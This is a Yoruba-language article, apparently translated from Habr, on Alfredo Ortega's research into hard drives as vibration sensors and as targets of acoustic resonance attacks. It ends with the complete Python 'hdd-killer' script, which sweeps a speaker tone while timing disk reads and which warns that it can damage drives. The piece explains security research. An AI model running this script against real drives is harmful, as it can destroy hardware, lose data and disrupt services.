Kini idi ti o ko gbọdọ pariwo HDD rẹ

Kini idi ti o ko gbọdọ pariwo HDD rẹ

Ni apejọ aabo kọnputa Ekoparty 2017 ni Buenos Aires, agbonaeburuwole Argentine Alfredo Ortega ṣe afihan idagbasoke ti o nifẹ pupọ - eto kan fun titẹ waya ti agbegbe laisi lilo gbohungbohun kan. Ohun ti o gbasilẹ taara si dirafu lile!

HDD ni akọkọ n gbe awọn ohun igbohunsafẹfẹ kekere-kikan soke, awọn igbesẹ ati awọn gbigbọn miiran. Ọrọ eniyan ko le ṣe idanimọ sibẹsibẹ, botilẹjẹpe awọn onimọ-jinlẹ n ṣe iwadii ni itọsọna yii (Idanimọ ọrọ nipasẹ awọn gbigbọn-igbohunsafẹfẹ kekere, eyiti o gbasilẹ, fun apẹẹrẹ, lati gyroscope tabi HDD).

Ohun jẹ gbigbọn ti afẹfẹ tabi alabọde miiran. Eniyan ṣe akiyesi wọn nipasẹ eardrum, eyiti o tan awọn gbigbọn si eti inu. A ṣe apẹrẹ gbohungbohun ni aijọju bi eti - nibi, paapaa, awọn gbigbọn ti wa ni igbasilẹ nipasẹ awọ ara tinrin, eyiti o ṣe itara agbara itanna kan. Dirafu lile, dajudaju, tun jẹ koko-ọrọ si awọn gbigbọn airi nitori awọn iyipada ninu afẹfẹ agbegbe. Eyi ni a mọ paapaa lati awọn abuda imọ-ẹrọ ti HDDs: awọn aṣelọpọ nigbagbogbo tọka si ipele gbigbọn iyọọda ti o pọju, ati dirafu lile funrararẹ nigbagbogbo gbiyanju lati gbe sinu apoti ẹri gbigbọn ti a ṣe ti roba tabi ohun elo idabobo miiran. Lati eyi o rọrun lati pinnu pe awọn ohun le ṣe igbasilẹ nipa lilo HDD. Gbogbo awọn ti o ku ni lati ro ero bawo.

Alfredo Ortega dabaa ẹya alailẹgbẹ ti ikọlu ikanni ẹgbẹ kan, eyun ikọlu akoko kan. Ikọlu yii da lori arosinu pe awọn iṣẹ oriṣiriṣi ṣe lori ẹrọ ni awọn akoko oriṣiriṣi, da lori data igbewọle ti a fun. Ni idi eyi, "data ti nwọle" jẹ awọn gbigbọn ti ori kika ati HDD platter, eyiti o ni ibamu pẹlu awọn gbigbọn ti ayika, eyini ni, pẹlu ohun. Bayi, nipa wiwọn akoko iṣiro ati ṣiṣe iṣiro iṣiro ti data, awọn gbigbọn ti ori / platter ati nibi awọn gbigbọn ti alabọde le ṣe iwọn. Bi idaduro naa ṣe gun ni kika data, awọn gbigbọn HDD ni okun sii ati, nitorina, ohun ti npariwo.

Bawo ni lati wiwọn gbigbọn dirafu lile? O rọrun pupọ: kan ṣiṣe ipe eto naa read () - ati ṣe igbasilẹ akoko ti o to lati pari. Awọn ọna ṣiṣe ode oni gba ọ laaye lati ka akoko awọn ipe eto pẹlu deede nanosecond.

Iyara ti alaye kika lati eka kan da lori ipo ti ori ati platter, eyiti o ni ibamu pẹlu awọn gbigbọn ti ọran HDD. Gbogbo ẹ niyẹn.

Ayẹwo iṣiro ni a ṣe ni lilo ohun elo Kscope kan ti o rọrun. Bi wọn ti sọ, ohun gbogbo ti ọgbọn jẹ rọrun.

Kini idi ti o ko gbọdọ pariwo HDD rẹ
IwUlO Kscope (stat() syscall)

Kscope jẹ ohun elo kekere fun wiwo awọn iyatọ kekere ni awọn akoko ipaniyan eto. Orisunti a tẹjade lori GitHub.

Ni lọtọ ibi ipamọ HDD-akoko ẹya ti ohun elo ti tunto fun ikọlu akoko lori dirafu lile, iyẹn ni, tunto lati ṣe itupalẹ ipe eto naa. read ().

Afihan ti gbigbasilẹ ohun nipa lilo HDD, isẹ ti Kscope IwUlO


Nitoribẹẹ, ọrọ ko le loye ni ọna yii, ṣugbọn HDD dara pupọ bi sensọ gbigbọn. Fun apẹẹrẹ, o le forukọsilẹ ti eniyan ti o wọ bata lile tabi laisi bata wọ yara kan pẹlu kọnputa (boya, ti ikọlu ba wọ awọn sneakers rirọ tabi capeti ti o nipọn lori ilẹ, HDD kii yoo ni anfani lati forukọsilẹ awọn gbigbọn - eyi tọ lati ṣayẹwo). Kọmputa naa ni anfani lati forukọsilẹ gilasi fifọ tabi awọn iṣẹlẹ miiran pẹlu kikankikan ohun to lagbara. Iyẹn ni, dirafu lile le ṣiṣẹ bi iru eto wiwa ifọle laigba aṣẹ.

HDD apaniyan

Nipa ọna, iru ilana kan le ṣee lo lati mu awọn dirafu lile kuro. Nibi nikan a ko yọ awọn oscillation kuro ni HDD, ṣugbọn ni ilodi si, a ṣe ina awọn oscillation ti o jẹun si HDD. Ti o ba mu ohun ṣiṣẹ lati ọdọ agbọrọsọ ni igbohunsafẹfẹ ti o ṣe atunṣe pẹlu igbohunsafẹfẹ HDD, eto naa yoo pa ẹrọ naa laipẹ pẹlu aṣiṣe I/O kan (ekuro Linux kuro patapata HDD lẹhin iṣẹju-aaya 120). Dirafu lile funrararẹ le jiya ibajẹ ti ko le yipada.

Kini idi ti o ko gbọdọ pariwo HDD rẹ
Ekuro Linux naa pa dirafu lile lẹhin awọn iṣẹju-aaya 120 ti jiṣẹ ohun ni igbohunsafẹfẹ resonant nipasẹ agbọrọsọ ti Edifier r19u agbọrọsọ USB. Agbọrọsọ ti wa ni titan ni iwọn idamẹrin ti agbara (kere ju 100 mW) ati pe o wa ni 20 cm lati HDD, ti a pinnu ni tabili lati mu awọn gbigbọn pọ si. Fireemu lati fidio pẹlu ifihan ti HDD apaniyan

O jẹ iyanilenu pe iru “awọn ikọlu” lori HDDs nigbakan waye patapata nipasẹ ijamba ni igbesi aye ojoojumọ. Fun apẹẹrẹ, ni Oṣu Kẹsan ọdun 2016, ile-iṣẹ data data ING Bank ti fi agbara mu lati da awọn iṣẹ duro fun awọn wakati 10 lẹhin adaṣe ina. Dosinni ti dirafu lile ti kuna nitori ohun ti npariwo ti gaasi inert ti a tu silẹ lati inu awọn silinda labẹ titẹ giga. Ohùn naa pariwo pupọ (diẹ sii ju 130 dB), ṣugbọn o ko le pariwo si awọn dirafu lile - eyi mu idaduro ni iraye si HDD naa.

Ifihan ti igbe eniyan ni awọn awakọ lile ni ile-iṣẹ data kan. Wiwọn airi


Lati ṣe agbejade ohun ti n ṣe atunṣe, Alfredo Ortega kowe iwe afọwọkọ Python kan ti a pe hdd-apaniyan (ifihan fidio).

HDD apani akosile O kere pupọ, nitorinaa o le gbejade ni gbogbo rẹ nibi.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

orisun: www.habr.com

Fi ọrọìwòye kun